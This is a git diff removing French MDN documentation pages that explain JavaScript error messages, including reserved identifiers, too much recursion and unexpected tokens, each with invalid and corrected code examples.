{{jsxref("SyntaxError")}}

- -

Quel est le problème ?

- -

Le même nom de variable est présent comme paramètre de la fonction et dans une affectation let au sein du corps de cette fonction et il n'est pas possible de redéclarer la même variable dans la même fonction ou dans le même bloc avec let.

- -

Exemples

- -

Dans le fragment de code qui suit, la variable arg redéclare l'argument passé à la fonction.

- -
function f(arg) {
-  let arg = "toto";
-}
-
-// SyntaxError: redeclaration of formal parameter "arg"
-
- -

Si on souhaite changer la valeur de arg dans le corps de la fonction, c'est possible mais il ne faut pas la redéclarer. Autrement dit, on peut retirer le mot-clé let. Si on souhaite plutôt créer une nouvelle variable, mieux vaudra utiliser un autre nom afin d'éviter les conflits avec les noms des paramètres existants.

- -
function f(arg) {
-  arg = "toto";
-}
-
-function f(arg) {
-  let truc = "toto";
-}
-
- -

Notes de compatibilité

- -
    -
  • Avant Firefox 49 {{geckoRelease(49)}}, cela provoquait une exception {{jsxref("TypeError")}} ({{bug(1275240)}}).
    • -
- -

Voir aussi

- - diff --git a/files/fr/web/javascript/reference/erreurs/reduce_of_empty_array_with_no_initial_value/index.html b/files/fr/web/javascript/reference/erreurs/reduce_of_empty_array_with_no_initial_value/index.html deleted file mode 100644 index 40bb79c083..0000000000 --- a/files/fr/web/javascript/reference/erreurs/reduce_of_empty_array_with_no_initial_value/index.html +++ /dev/null @@ -1,88 +0,0 @@ ---- -title: 'TypeError: Reduce of empty array with no initial value' -slug: Web/JavaScript/Reference/Erreurs/Reduce_of_empty_array_with_no_initial_value -tags: - - Error - - JavaScript - - Reference - - TypeError -translation_of: Web/JavaScript/Reference/Errors/Reduce_of_empty_array_with_no_initial_value ---- -
{{jsSidebar("Errors")}}
- -

Message

- -
TypeError: reduce of empty array with no initial value
-
- -

Type d'erreur

- -

{{jsxref("TypeError")}}

- -

Quel est le problème ?

- -

En JavaScript, il existe plusieurs fonctions qui permettent de réduire un tableau :

- -
    -
  • {{jsxref("Array.prototype.reduce()")}}, {{jsxref("Array.prototype.reduceRight()")}} ainsi que
    • -
  • {{jsxref("TypedArray.prototype.reduce()")}},  {{jsxref("TypedArray.prototype.reduceRight()")}}).
    • -
- -

Ces fonctions utilisent un argument optionnel valeurInitiale (qui sera utilisée comme premier argument pour le premier appel du callback). Toutefois, si aucune valeur initiale explicite est fournie, la méthode utilisera le premier élément de l'objet  {{jsxref("Array")}} / {{jsxref("TypedArray")}} comme valeur initiale. Cette exception est déclenchée lorsqu'on souhaite réduire un tableau vide car aucune valeur initiale n'a été fournie.

- -

Exemples

- -

Exemples invalides

- -

Ce problème se produit lorsqu'on combine une méthode de filtrage ({{jsxref("Array.prototype.filter()")}}, {{jsxref("TypedArray.prototype.filter()")}}) qui retire tous les éléments du tableau. Si on applique ensuite une réduction, il n'y aura pas de valeur initiale.

- -
var ints = [0, -1, -2, -3, -4, -5];
-ints.filter(x => x > 0)         // cet appel retire tous les éléments
-    .reduce((x, y) => x + y)    // aucun ne peut alors être utilisé comme valeur initiale
- -

Cela peut également se produire si on utilise un sélecteur avec une coquille ou que la liste contient un nombre d'élément inattendu:

- -
var names = document.getElementsByClassName("names");
-var name_list = Array.prototype.reduce.call(names, (acc, name) => acc + ", " + name);
-
- -

Exemples valides

- -

On peut résoudre ces problèmes de deux façons.

- -

On peut fournir une valeur initiale qui soit l'élément neutre de la réduction (par exemple 0 si on additionne, 1 si on multiplie ou la chaîne vide si on concatène du texte).

- -
var ints = [0, -1, -2, -3, -4, -5];
-ints.filter(x => x > 0)         // removes all elements
-    .reduce((x, y) => x + y, 0) // the initial value is the neutral element of the addition
-
- -

On peut également gérer le cas où le tableau est vide, avant d'appeler reduce ou dans le callback après avoir ajouté une valeur initiale.

- -
var names = document.getElementsByClassName("names");
-
-var nameList1 = "";
-if (names1.length >= 1)
-  nameList1 = Array.prototype.reduce.call(names, (acc, name) => acc + ", " + name);
-// nameList1 == "" lorsque names est vide
-
-var nameList2 = Array.prototype.reduce.call(names, (acc, name) => {
-  if (acc == "") // la valeur initiale
-    return name;
-  return acc + ", " + name;
-}, "");
-// nameList2 == "" lorsque names est vide
-
- -

Voir aussi

- -
    -
  • {{jsxref("Array.prototype.reduce()")}}
    • -
  • {{jsxref("Array.prototype.reduceRight()")}}
    • -
  • {{jsxref("TypedArray.prototype.reduce()")}}
    • -
  • {{jsxref("TypedArray.prototype.reduceRight()")}}
    • -
  • {{jsxref("Array")}}
    • -
  • {{jsxref("TypedArray")}}
    • -
  • {{jsxref("Array.prototype.filter()")}}
    • -
  • {{jsxref("TypedArray.prototype.filter()")}}
    • -
diff --git a/files/fr/web/javascript/reference/erreurs/reserved_identifier/index.html b/files/fr/web/javascript/reference/erreurs/reserved_identifier/index.html deleted file mode 100644 index 98bb834523..0000000000 --- a/files/fr/web/javascript/reference/erreurs/reserved_identifier/index.html +++ /dev/null @@ -1,81 +0,0 @@ ---- -title: 'SyntaxError: "x" is a reserved identifier' -slug: Web/JavaScript/Reference/Erreurs/Reserved_identifier -tags: - - Erreurs - - JavaScript - - SyntaxError -translation_of: Web/JavaScript/Reference/Errors/Reserved_identifier ---- -
{{jsSidebar("Errors")}}
- -

Message

- -
SyntaxError: The use of a future reserved word for an identifier is invalid (Edge)
-SyntaxError: "x" is a reserved identifier (Firefox)
-SyntaxError: Unexpected reserved word (Chrome)
- -

Type d'erreur

- -

{{jsxref("SyntaxError")}}

- -

Quel est le problème ?

- -

Les mots-clés réservés lèveront une exception s'ils sont utilisés en tant qu'identifiants. Voici les mots-clés réservés en mode strict et en mode sloppy :

- -
    -
  • enum
    • -
- -

Voici les mots-clés uniquement réservés en mode strict :

- -
    -
  • implements
    • -
  • interface
    • -
  • {{jsxref("Statements/let", "let")}}
    • -
  • package
    • -
  • private
    • -
  • protected
    • -
  • public
    • -
  • static
    • -
- -

Exemples

- -

Mots-clés réservés en modes strict et non-strict

- -

L'identifiant enum est réservé dans les différents cas :

- -
var enum = { RED: 0, GREEN: 1, BLUE: 2 };
-// SyntaxError: enum is a reserved identifier
-
- -

En mode strict, d'autres mots-clés sont réservés :

- -
"use strict";
-var package = ["pomme", "poire", "pêches"];
-// SyntaxError: package is a reserved identifier
-
- -

Pour ne pas avoir l'erreur, il faudra renommer les variables :

- -
var enumCouleurs = { RED: 0, GREEN: 1, BLUE: 2 };
-var liste = ["pomme", "poire", "pêches"];
- -

Mettre à jour les anciens navigateurs

- -

Si vous utilisez un ancien navigateur qui n'implémente pas let ou class, vous devrez mettre à jour votre navigateur :

- -
"use strict";
-class DocArchiver {}
-
-// SyntaxError: class is a reserved identifier
-// (lève une exception dans les anciens navigateurs
-// tels que Firefox 44 et les versions antérieures)
-
- -

Voir aussi

- - diff --git a/files/fr/web/javascript/reference/erreurs/resulting_string_too_large/index.html b/files/fr/web/javascript/reference/erreurs/resulting_string_too_large/index.html deleted file mode 100644 index b42c358fb2..0000000000 --- a/files/fr/web/javascript/reference/erreurs/resulting_string_too_large/index.html +++ /dev/null @@ -1,49 +0,0 @@ ---- -title: 'RangeError: repeat count must be less than infinity' -slug: Web/JavaScript/Reference/Erreurs/Resulting_string_too_large -tags: - - Erreurs - - JavaScript - - RangeError -translation_of: Web/JavaScript/Reference/Errors/Resulting_string_too_large ---- -
{{jsSidebar("Errors")}}
- -

Message

- -
RangeError: argument out of range (Edge)
-RangeError: repeat count must be less than infinity and not overflow maximum string size (Firefox)
-RangeError: Invalid count value (Chrome)
-
- -

Type d'erreur

- -

{{jsxref("RangeError")}}

- -

Quel est le problème ?

- -

La méthode {{jsxref("String.prototype.repeat()")}}, qui permet de répéter une chaîne de caractères, a été utilisée avec un argument qui n'est pas compris entre 0 et {{jsxref("Infinity")}} (exclue) (ce qui correspond à l'intervalle [0, +∞))

- -

La chaîne de caractères crée par cette méthode ne doit pas dépasser la taille maximale d'une chaîne. Cette taille varie selon le moteur JavaScript. Pour Firefox (SpiderMonkey), la taille maximale d'une chaîne de caractères vaut 228 -1 (0xFFFFFFF).

- -

Exemples

- -

Exemples invalides

- -
'abc'.repeat(Infinity); // RangeError
-'a'.repeat(2**28);      // RangeError
-
- -

Exemples valides

- -
'abc'.repeat(0);    // ''
-'abc'.repeat(1);    // 'abc'
-'abc'.repeat(2);    // 'abcabc'
-'abc'.repeat(3.5);  // 'abcabcabc' (count will be converted to integer)
-
- -

Voir aussi

- -
    -
  • {{jsxref("String.prototype.repeat()")}}
    • -
diff --git a/files/fr/web/javascript/reference/erreurs/stmt_after_return/index.html b/files/fr/web/javascript/reference/erreurs/stmt_after_return/index.html deleted file mode 100644 index 5a204b96d4..0000000000 --- a/files/fr/web/javascript/reference/erreurs/stmt_after_return/index.html +++ /dev/null @@ -1,79 +0,0 @@ ---- -title: 'Warning: unreachable code after return statement' -slug: Web/JavaScript/Reference/Erreurs/Stmt_after_return -tags: - - JavaScript - - Warning -translation_of: Web/JavaScript/Reference/Errors/Stmt_after_return ---- -
{{jsSidebar("Errors")}}
- -

Message

- -
Warning: unreachable code after return statement (Firefox)
-
- -

Type d'erreur

- -

Avertissement

- -

Quel est le problème ?

- -

Ce problème peut avoir deux origines :

- -
    -
  • Une expression a été utilisée après l'instruction {{jsxref("Instructions/return", "return")}}
    • -
  • Une instruction return a été utilisée sans point virgule mais une expression suivait cette instruction.
    • -
- -

Lorsqu'une expression existe après une instruction return valide, un avertissement est produit pour alerter qu'une portion du code ne peut pas être atteinte et ne sera donc jamais lue et exécutée.

- -

Pourquoi est-il préférable d'ajouter des points-virgules après les instructions return ? Si on utilise une instruction return sans point-virgule, cela peut créer une ambiguïté : est-ce que le développeur souhaite que le code qui suit sur la ligne d'après soit exécuté ou non ? L'avertissement relève cette ambiguïté afin de mieux la percevoir pour la lever.

- -

Les avertissements ne seront pas affichés pour les return sans point-virgule si ces instructions suivent :

- -
    -
  • {{jsxref("Instructions/throw", "throw")}}
    • -
  • {{jsxref("Instructions/break", "break")}}
    • -
  • {{jsxref("Instructions/var", "var")}}
    • -
  • {{jsxref("Instructions/function", "function")}}
    • -
- -

Exemples

- -

Exemples invalides

- -
function f() {
-  var x = 3;
-  x += 4;
-  return x;   // return permet de finir la fonction sur le champ
-  x -= 3;     // Cette ligne ne sera jamais lue donc exécutée
-}
-
-function f() {
-  return     // Cette instruction est traitée `return;`
-    3 + 4;   // La fonction termine et cette ligne n'est jamais traitée
-}
-
- -

Exemples valides

- -
function f() {
-  var x = 3;
-  x += 4;
-  x -= 3;
-  return x;  // OK : return est après
-             // toutes les autres instructions
-}
-
-function f() {
-  return 3 + 4  // OK : un return sans point-virgule
-                // avec une expression sur la même ligne
-}
-
- -

Voir aussi

- -
    -
  • {{jsxref("Instructions/return", "L'ajout automatique de point-virgule", "#Ajout_automatique_de_point-virgule", 1)}}
    • -
diff --git a/files/fr/web/javascript/reference/erreurs/strict_non_simple_params/index.html b/files/fr/web/javascript/reference/erreurs/strict_non_simple_params/index.html deleted file mode 100644 index 5e931452e5..0000000000 --- a/files/fr/web/javascript/reference/erreurs/strict_non_simple_params/index.html +++ /dev/null @@ -1,115 +0,0 @@ ---- -title: 'SyntaxError: "use strict" not allowed in function with "x" parameter' -slug: Web/JavaScript/Reference/Erreurs/Strict_Non_Simple_Params -tags: - - Erreurs - - JavaScript - - Reference - - TypeError -translation_of: Web/JavaScript/Reference/Errors/Strict_Non_Simple_Params ---- -
{{jsSidebar("Errors")}}
- -

Message

- -
Edge:
-Cannot apply strict mode on functions with non-simple parameter list
-
-Firefox:
-SyntaxError: "use strict" not allowed in function with default parameter
-SyntaxError: "use strict" not allowed in function with rest parameter
-SyntaxError: "use strict" not allowed in function with destructuring parameter
-
-Chrome:
-SyntaxError: Illegal 'use strict' directive in function with non-simple parameter list
-
- -

Type d'erreur

- -

{{jsxref("SyntaxError")}}.

- -

Quel est le problème ?

- -

Une directive "use strict" apparaît au début d'une fonction qui possède l'un des paramètres suivants :

- -
    -
  • {{jsxref("Fonctions/Valeurs_par_défaut_des_arguments", "Des paramètres par défaut", "", 1)}}
    • -
  • {{jsxref("Fonctions/paramètres_du_reste", "Des paramètres du reste", "", 1)}}
    • -
  • {{jsxref("Opérateurs/Affecter_par_décomposition", "Des paramètres décomposés", "", 1)}}
    • -
- -

Selon la spécification ECMAScript, une directive "use strict" ne peut pas être utilisée pour de telles fonctions.

- -

Exemples

- -

Déclaration de fonction

- -

Dans l'exemple qui suit, la fonction somme possède deux paramètres par défaut a=1 et b=2.

- -
function somme(a = 1, b = 2) {
-  // SyntaxError: "use strict" not allowed in function with default parameter
-  "use strict";
-  return a + b;
-}
-
- -

Si on veut que la fonction soit en mode strict et que le script entier ou que la fonction englobante peut être en mode strict, il suffira de déplacer l'instruction "use strict" en dehors du corps de la méthode.

- -
"use strict";
-function somme(a = 1, b = 2) {
-  return a + b;
-}
-
- -

Expression de fonction

- -

Il est également possible d'utiliser les expressions de fonction pour résoudre ce problème :

- -
var somme = function somme([a, b]) {
-  // SyntaxError: "use strict" not allowed in function with destructuring parameter
-  "use strict";
-  return a + b;
-};
-
- -

On peut convertir le fragment de code précédent avec l'expression suivante :

- -
var somme = (function() {
-  "use strict";
-  return function somme([a, b]) {
-    return a + b;
-  };
-})();
-
- -

Fonction fléchée

- -

Si on a une fonction fléchée qui doit accéder à la variable this on peut utiliser une fonction fléchée comme fonction englobante :

- -
var callback = (...args) => {
-  // SyntaxError: "use strict" not allowed in function with rest parameter
-  "use strict";
-  return this.run(args);
-};
-
- -

This can be converted into following expression.

- -
var callback = (() => {
-  "use strict";
-  return (...args) => {
-    return this.run(args);
-  };
-})();
-
- -

Voir aussi

- -
    -
  • {{jsxref("Strict_mode", "Le mode strict", "", 1)}}
    • -
  • {{jsxref("Instructions/function", "L'instruction function", "", 1)}}
    • -
  • {{jsxref("Op%C3%A9rateurs/L_op%C3%A9rateur_function", "Les expressions de fonction", "", 1)}}
    • -
  • {{jsxref("Fonctions/Valeurs_par_d%C3%A9faut_des_arguments", "Les paramètres par défaut", "", 1)}}
    • -
  • {{jsxref("Fonctions/paramètres_du_reste", "Les paramètres du reste", "", 1)}}
    • -
  • {{jsxref("Opérateurs/Affecter_par_décomposition", "Les paramètres décomposés", "", 1)}}
    • -
diff --git a/files/fr/web/javascript/reference/erreurs/too_much_recursion/index.html b/files/fr/web/javascript/reference/erreurs/too_much_recursion/index.html deleted file mode 100644 index 1e7bf8c0d0..0000000000 --- a/files/fr/web/javascript/reference/erreurs/too_much_recursion/index.html +++ /dev/null @@ -1,69 +0,0 @@ ---- -title: 'InternalError: too much recursion' -slug: Web/JavaScript/Reference/Erreurs/Too_much_recursion -tags: - - Erreurs - - InternalError - - JavaScript - - Reference -translation_of: Web/JavaScript/Reference/Errors/Too_much_recursion ---- -
{{jsSidebar("Errors")}}
- -

Message

- -
Error: Out of stack space (Edge)
-InternalError: too much recursion (Firefox)
-RangeError: Maximum call stack size exceeded (Chrome)
-
- -

Type d'erreur

- -

{{jsxref("InternalError")}}.

- -

Quel est le problème ?

- -

Une fonction qui s'appelle elle-même est une fonction recursive. Lorsqu'une certaine condition est respectée, la fonction arrête de s'appeler elle-même, c'est ce qu'on appelle le cas initial.

- -

D'une certaine façon, une récursion est semblable à une boucle. Les deux exécutent le même code plusieurs fois, et les deux ont besoin d'une condition d'arrêt afin d'éviter une boucle infinie ou une récursion infinie. Lorsqu'il y a trop de niveaux de récursion ou une récursion infinie, JavaScript lèvera cette erreur.

- -

Exemples

- -

Cette fonction récursive est exécutée 10 fois comme l'indique la condition de sortie :

- -
function loop(x) {
-  if (x >= 10) // "x >= 10" is the exit condition
-    return;
-  // do stuff
-  loop(x + 1); // the recursive call
-}
-loop(0);
- -

Si la condition d'arrêt est beaucoup trop grande, cela ne fonctionnera pas :

- -
function loop(x) {
-  if (x >= 1000000000000)
-    return;
-  // do stuff
-  loop(x + 1);
-}
-loop(0);
-
-// InternalError: too much recursion
- -

Si la fonction récursive ne possède pas de cas initial, il n'y aura pas de condition de sortie et la fonction continuera de s'appeler indéfiniment.

- -
function boucle(x) {
-  boucle(x + 1);
-  // il n'y a pas de cas initial
-}
-
-boucle(0);
-
- -

Voir aussi

- - diff --git a/files/fr/web/javascript/reference/erreurs/typed_array_invalid_arguments/index.html b/files/fr/web/javascript/reference/erreurs/typed_array_invalid_arguments/index.html deleted file mode 100644 index b467aa1c4e..0000000000 --- a/files/fr/web/javascript/reference/erreurs/typed_array_invalid_arguments/index.html +++ /dev/null @@ -1,76 +0,0 @@ ---- -title: 'TypeError: invalid arguments' -slug: Web/JavaScript/Reference/Erreurs/Typed_array_invalid_arguments -tags: - - Erreurs - - JavaScript - - TypeError -translation_of: Web/JavaScript/Reference/Errors/Typed_array_invalid_arguments ---- -
{{jsSidebar("Errors")}}
- -

Message

- -
TypeError: invalid arguments (Firefox)
- -

Type d'erreur

- -

{{jsxref("TypeError")}}

- -

Quel est le problème ?

- -

Les constructeurs de tableaux typés ont besoin :

- -
    -
  • d'une longueur,
    • -
  • d'un autre tableau typé,
    • -
  • d'un objet semblable à un tableau,
    • -
  • d'un objet itérable
    • -
  • ou d'un objet {{jsxref("ArrayBuffer")}}
    • -
- -

afin de créer un nouveau tableau typé. Si on utilise un autre argument, on ne pourra pas créer de tableau typé valide.

- -

Exemples

- -

Il est par exemple impossible de construire un tableau typé {{jsxref("Uint8Array")}} à partir d'une chaîne de caractères :

- -
var ta = new Uint8Array("nope");
-// TypeError: invalid arguments
-
- -

Voici différentes façons de créer un tableau typué {{jsxref("Uint8Array")}} :

- -
// À partir d'une longueur
-var uint8 = new Uint8Array(2);
-uint8[0] = 42;
-console.log(uint8[0]); // 42
-console.log(uint8.length); // 2
-console.log(uint8.BYTES_PER_ELEMENT); // 1
-
-// À partir d'un tableau
-var arr = new Uint8Array([21,31]);
-console.log(arr[1]); // 31
-
-// À partir d'un autre tableau typé
-var x = new Uint8Array([21, 31]);
-var y = new Uint8Array(x);
-console.log(y[0]); // 21
-
-// À partir d'un ArrayBuffer
-var buffer = new ArrayBuffer(8);
-var z = new Uint8Array(buffer, 1, 4);
-
-// À partir d'un itérable
-var iterable = function*(){ yield* [1,2,3]; }();
-var uint8 = new Uint8Array(iterable);
-// Uint8Array[1, 2, 3]
-
- -

Voir aussi

- - diff --git a/files/fr/web/javascript/reference/erreurs/undeclared_var/index.html b/files/fr/web/javascript/reference/erreurs/undeclared_var/index.html deleted file mode 100644 index 98ff95210a..0000000000 --- a/files/fr/web/javascript/reference/erreurs/undeclared_var/index.html +++ /dev/null @@ -1,66 +0,0 @@ ---- -title: 'ReferenceError: assignment to undeclared variable "x"' -slug: Web/JavaScript/Reference/Erreurs/Undeclared_var -tags: - - Erreurs - - JavaScript - - ReferenceError -translation_of: Web/JavaScript/Reference/Errors/Undeclared_var ---- -
{{jsSidebar("Errors")}}
- -

Message

- -
ReferenceError: assignment to undeclared variable "x" (Firefox)
-ReferenceError: "x" is not defined (Chrome)
-ReferenceError: Variable undefined in strict mode (Edge)
-
- -

Type d'erreur

- -

Une erreur {{jsxref("ReferenceError")}}, uniquement en mode strict.

- -

Quel est le problème ?

- -

Une valeur a été affectée à une variable non-déclarée. Autrement dit, il y a eu une affectation qui n'utilise pas le mot-clé var. Il existe certaines différences entre les variables déclarées et les variables non déclarées ce qui peut entraîner des résultats étranges. C'est pour cette raison que le moteur affiche une erreur en mode strict.

- -

Trois choses à noter lorsqu'on évoque les variables déclarées/non déclarées :

- -
    -
  • Les variables déclarées sont contraintes dans le contexte d'exécution dans lequel elles sont déclarées. Les variables non déclarées sont toujours globales.
    • -
  • Les variables déclarées sont créées avant que le code soit exécuté. Les variables non déclarées n'existent pas tant que le code qui leur est affecté est exécuté.
    • -
  • Les variables déclarées sont des propriétés non-configurables de leur contexte d'exécution (la fonction ou l'espace global). Les variables non-déclarées sont configurables (elles peuvent être supprimées).
    • -
- -

Pour plus de détails et d'exemple, se référer à la page sur var.

- -

Les erreurs à propos des affectations sur les variables non déclarées se produisent uniquement en mode strict. En mode non-strict, elles sont ignorées silencieusement.

- -

Exemples

- -

Exemples invalides

- -

Ici, la variable truc n'est pas déclarée :

- -
function toto() {
-  "use strict";
-  truc = true;
-}
-toto(); // ReferenceError: assignment to undeclared variable truc
-
- -

Exemples valides

- -

Afin de déclarer truc, on peut ajouter le mot-clé var devant.

- -
function toto() {
-  "use strict";
-  var truc = true;
-}
-toto();
- -

Voir aussi

- - diff --git a/files/fr/web/javascript/reference/erreurs/undefined_prop/index.html b/files/fr/web/javascript/reference/erreurs/undefined_prop/index.html deleted file mode 100644 index 00ae0a348b..0000000000 --- a/files/fr/web/javascript/reference/erreurs/undefined_prop/index.html +++ /dev/null @@ -1,57 +0,0 @@ ---- -title: 'ReferenceError: reference to undefined property "x"' -slug: Web/JavaScript/Reference/Erreurs/Undefined_prop -tags: - - Erreurs - - JavaScript - - Reference - - ReferenceError -translation_of: Web/JavaScript/Reference/Errors/Undefined_prop ---- -
{{jsSidebar("Errors")}}
- -

Message

- -
ReferenceError: reference to undefined property "x" (Firefox)
-
- -

Type d'erreur

- -

Uniquement pour Firefox. Une erreur {{jsxref("ReferenceError")}} lancée en avertissement, uniquement si la préférence javascript.options.strict vaut true.

- -

Quel est le problème ?

- -

Le code tente d'accéder à une propriété inexistante d'un objet. Il existe deux méthodes pour accéder aux propriétés. Pour plus de détails, on pourra lire la page de la référence sur les accesseurs de propriété.

- -

Exemples

- -

Exemples invalides

- -

Ici, la propriété truc n'est pas une propriété définie et on obtient alors une ReferenceError.

- -
"use strict";
-
-var toto = {};
-toto.truc; // ReferenceError: reference to undefined property "bar"
-
- -

Exemples valides

- -

Pour éviter cette erreur, il faut que truc soit une variable  « définie » ou vérifier son existence avant de l'utiliser (en utilisant par exemple la méthode {{jsxref("Object.prototype.hasOwnProperty()")}}).

- -
"use strict";
-
-var toto = {};
-
-toto.truc = "lune";
-console.log(toto.truc); // "lune"
-
-if (foo.hasOwnProperty("truc")) {
-  console.log(toto.truc);
-}
- -

Voir aussi

- -
    -
  • {{jsxref("Opérateurs/Opérateurs_de_membres", "Accesseurs de propriété", 0, 1)}}
    • -
diff --git a/files/fr/web/javascript/reference/erreurs/unexpected_token/index.html b/files/fr/web/javascript/reference/erreurs/unexpected_token/index.html deleted file mode 100644 index 309f05e1ca..0000000000 --- a/files/fr/web/javascript/reference/erreurs/unexpected_token/index.html +++ /dev/null @@ -1,77 +0,0 @@ ---- -title: 'SyntaxError: Unexpected token' -slug: Web/JavaScript/Reference/Erreurs/Unexpected_token -tags: - - Erreurs - - JavaScript - - Reference - - SyntaxError -translation_of: Web/JavaScript/Reference/Errors/Unexpected_token ---- -
{{jsSidebar("Errors")}}
- -

Message

- -
SyntaxError: expected expression, got "x"
-SyntaxError: expected property name, got "x"
-SyntaxError: expected target, got "x"
-SyntaxError: expected rest argument name, got "x"
-SyntaxError: expected closing parenthesis, got "x"
-SyntaxError: expected '=>' after argument list, got "x"
-
- -

Type d'erreur

- -

{{jsxref("SyntaxError")}}

- -

Quel est le problème ?

- -

La syntaxe du langage « attendait » un élément mais quelque chose d'autre est écrit à la place dans le script. Cela peut simplement être dû à une coquille dans le code.

- -

Exemples

- -

Expression attendue

- -

Lorsqu'on enchaîne des expressions, par exemple, les virgules ne sont pas autorisées en fin d'expression :

- -
for (let i = 0; i < 5,; ++i) {
-  console.log(i);
-}
-// SyntaxError: expected expression, got ')'
-
- -

Pour corriger cette erreur, on peut retirer la virgule superflue ou bien ajouter une autre expression :

- -
for (let i = 0; i < 5; ++i) {
-  console.log(i);
-}
-
- -

Parenthèses manquantes

- -

Il peut également arriver que des parenthèses manquent autour des instructions if :

- -
function round(n, upperBound, lowerBound){
-  if(n > upperBound) || (n < lowerBound){
-    throw 'Number ' + String(n) + ' is more than ' + String(upperBound) + ' or less than ' + String(lowerBound);
-  }else if(n < ((upperBound + lowerBound)/2)){
-    return lowerBound;
-  }else{
-    return upperBound;
-  }
-} // SyntaxError: expected expression, got '||'
- -

Si on compte les parenthèses ouvrantes et fermantes, c'est correct mais on peut voir que le OU logique (||) n'est contenu au sein d'aucune paire de parenthèses.

- -

Pour corriger ce problème, il suffit d'ajouter une paire de parenthèses englobante :

- -
function round(n, upperBound, lowerBound){
-  if((n > upperBound) || (n < lowerBound)){
-    throw 'Number ' + String(n) + ' is more than ' + String(upperBound) + ' or less than ' + String(lowerBound);
-  }else if(n < ((upperBound + lowerBound)/2)){
-    return lowerBound;
-  }else{
-    return upperBound;
-  }
-}
-
diff --git a/files/fr/web/javascript/reference/erreurs/unexpected_type/index.html b/files/fr/web/javascript/reference/erreurs/unexpected_type/index.html deleted file mode 100644 index bda5c39eb9..0000000000 --- a/files/fr/web/javascript/reference/erreurs/unexpected_type/index.html +++ /dev/null @@ -1,73 +0,0 @@ ---- -title: 'TypeError: "x" is (not) "y"' -slug: Web/JavaScript/Reference/Erreurs/Unexpected_type -tags: - - Erreurs - - JavaScript - - Reference - - TypeError -translation_of: Web/JavaScript/Reference/Errors/Unexpected_type ---- -
{{jsSidebar("Errors")}}
- -

Message

- -
TypeError: Unable to get property {x} of undefined or null reference (Edge)
-TypeError: "x" is (not) "y" (Firefox)
-
-Examples:
-TypeError: "x" is undefined
-TypeError: "x" is null
-TypeError: "undefined" is not an object
-TypeError: "x" is not an object or null
-TypeError: "x" is not a symbol
-
- -

Type d'erreur

- -

{{jsxref("TypeError")}}.

- -

Quel est le problème ?

- -

Un type inattendu a été rencontré. Cela se produit la plupart du temps avec les valeurs {{jsxref("undefined")}} ou {{jsxref("null")}}.

- -

Certaines méthodes comme {{jsxref("Object.create()")}} ou {{jsxref("Symbol.keyFor()")}} ont des contraintes sur le type de valeur qui peut être passé en argument.

- -

Exemples

- -

Exemples invalides

- -
// undefined et null : des valeurs
-// sur lesquelles la méthode substring
-// ne fonctionnera pas
-var toto = undefined;
-toto.substring(1); // TypeError: toto is undefined
-
-var toto = null;
-toto.substring(1); // TypeError: toto is null
-
-
-// Certaines méthodes nécessitent une valeur
-// d'un type spécifique
-var toto = {}
-Symbol.keyFor(toto); // TypeError: toto is not a symbol
-
-var toto = "truc"
-Object.create(toto); // TypeError: "toto" is not an object or null
-
- -

Résoudre le problème

- -

Pour résoudre ce problème et écarter les cas où la valeur vaut undefined, on peut par exemple utiliser l'opérateur typeof.

- -
if (typeof toto !== 'undefined') {
-  // Désormais, on sait que toto est bien
-  // défini et on peut poursuivre.
-}
- -

Voir aussi

- -
    -
  • {{jsxref("undefined")}}
    • -
  • {{jsxref("null")}}
    • -
diff --git a/files/fr/web/javascript/reference/erreurs/unnamed_function_statement/index.html b/files/fr/web/javascript/reference/erreurs/unnamed_function_statement/index.html deleted file mode 100644 index 690e4b3f3e..0000000000 --- a/files/fr/web/javascript/reference/erreurs/unnamed_function_statement/index.html +++ /dev/null @@ -1,115 +0,0 @@ ---- -title: 'SyntaxError: function statement requires a name' -slug: Web/JavaScript/Reference/Erreurs/Unnamed_function_statement -tags: - - Erreurs - - JavaScript - - SyntaxError -translation_of: Web/JavaScript/Reference/Errors/Unnamed_function_statement ---- -
{{jsSidebar("Errors")}}
- -

Message

- -
Syntax Error: Expected identifier (Edge)
-SyntaxError: function statement requires a name [Firefox]
-SyntaxError: Unexpected token ( [Chrome]
-
- -

Type d'erreur

- -

{{jsxref("SyntaxError")}}

- -

Quel est le problème ?

- -

Une déclaration de fonction présente dans le code requiert un nom. Il faut alors vérifier la façon dont la fonction est définie et s'il est nécessaire de lui fournir un nom ou si la fonction en question est une expression de fonction, une fonction immédiatement invoquée ou si le code de la fonction est simplement bien placé dans son contexte.

- -

Exemples

- -

Déclaration / Expression

- -

Une déclaration de fonction requiert un nom. Le fragment de code suivant ne fonctionnera pas :

- -
function () {
-  return 'Coucou monde :)';
-}
-// SyntaxError: function statement requires a name
-
- -

On peut utiliser une expression de fonction à la place :

- -
var salutations = function() {
-  return 'Coucou monde :)';
-};
- -

Si la fonction devait être appelé immédiatement, il suffit d'ajouter des parenthèses autour :

- -
(function () {
-
-})();
- -

Fonctions étiquetées

- -

Si vous utilisez des fonctions étiquetées, il faut toujours fournir un nom après le mot-clé function. Le code suivant ne fonctionnera pas :

- -
function Greeter() {
-  german: function () {
-    return "Moin";
-  }
-}
-// SyntaxError: function statement requires a name
-
- -

En revanche, ceci fonctionnera :

- -
function Greeter() {
-  german: function g() {
-    return "Moin";
-  }
-}
- -

Méthodes d'un objet

- -

Si vous souhaitez construire une méthode d'un objet, il faudra d'abord créer l'objet. Dans ce cas, la syntaxe sans le nom après le mot-clé function sera valide :

- -
var greeter = {
-  german: function () {
-    return "Moin";
-  }
-};
- -

Syntaxe et fonctions de rappel (callbacks)

- -

Lorsqu'on utilise les callbacks, il est facile de s'emmêler les pinceaux entre les parenthèses et les virgules :

- -
promise.then(
-  function() {
-    console.log("success");
-  });
-  function() {
-    console.log("error");
-}
-// SyntaxError: function statement requires a name
-
- -

La forme correcte serait :

- -
promise.then(
-  function() {
-    console.log("success");
-  },
-  function() {
-    console.log("error");
-  }
-);
-
- -

Voir aussi

- - diff --git a/files/fr/web/javascript/reference/erreurs/unterminated_string_literal/index.html b/files/fr/web/javascript/reference/erreurs/unterminated_string_literal/index.html deleted file mode 100644 index db0260c915..0000000000 --- a/files/fr/web/javascript/reference/erreurs/unterminated_string_literal/index.html +++ /dev/null @@ -1,77 +0,0 @@ ---- -title: 'SyntaxError: unterminated string literal' -slug: Web/JavaScript/Reference/Erreurs/Unterminated_string_literal -tags: - - Erreurs - - JavaScript - - Reference - - SyntaxError -translation_of: Web/JavaScript/Reference/Errors/Unterminated_string_literal ---- -
{{jsSidebar("Errors")}}
- -

Message

- -
SyntaxError: Unterminated string constant (Edge)
-SyntaxError: unterminated string literal (Firefox)
-
- -

Type d'erreur

- -

{{jsxref("SyntaxError")}}

- -

Quel est le problème ?

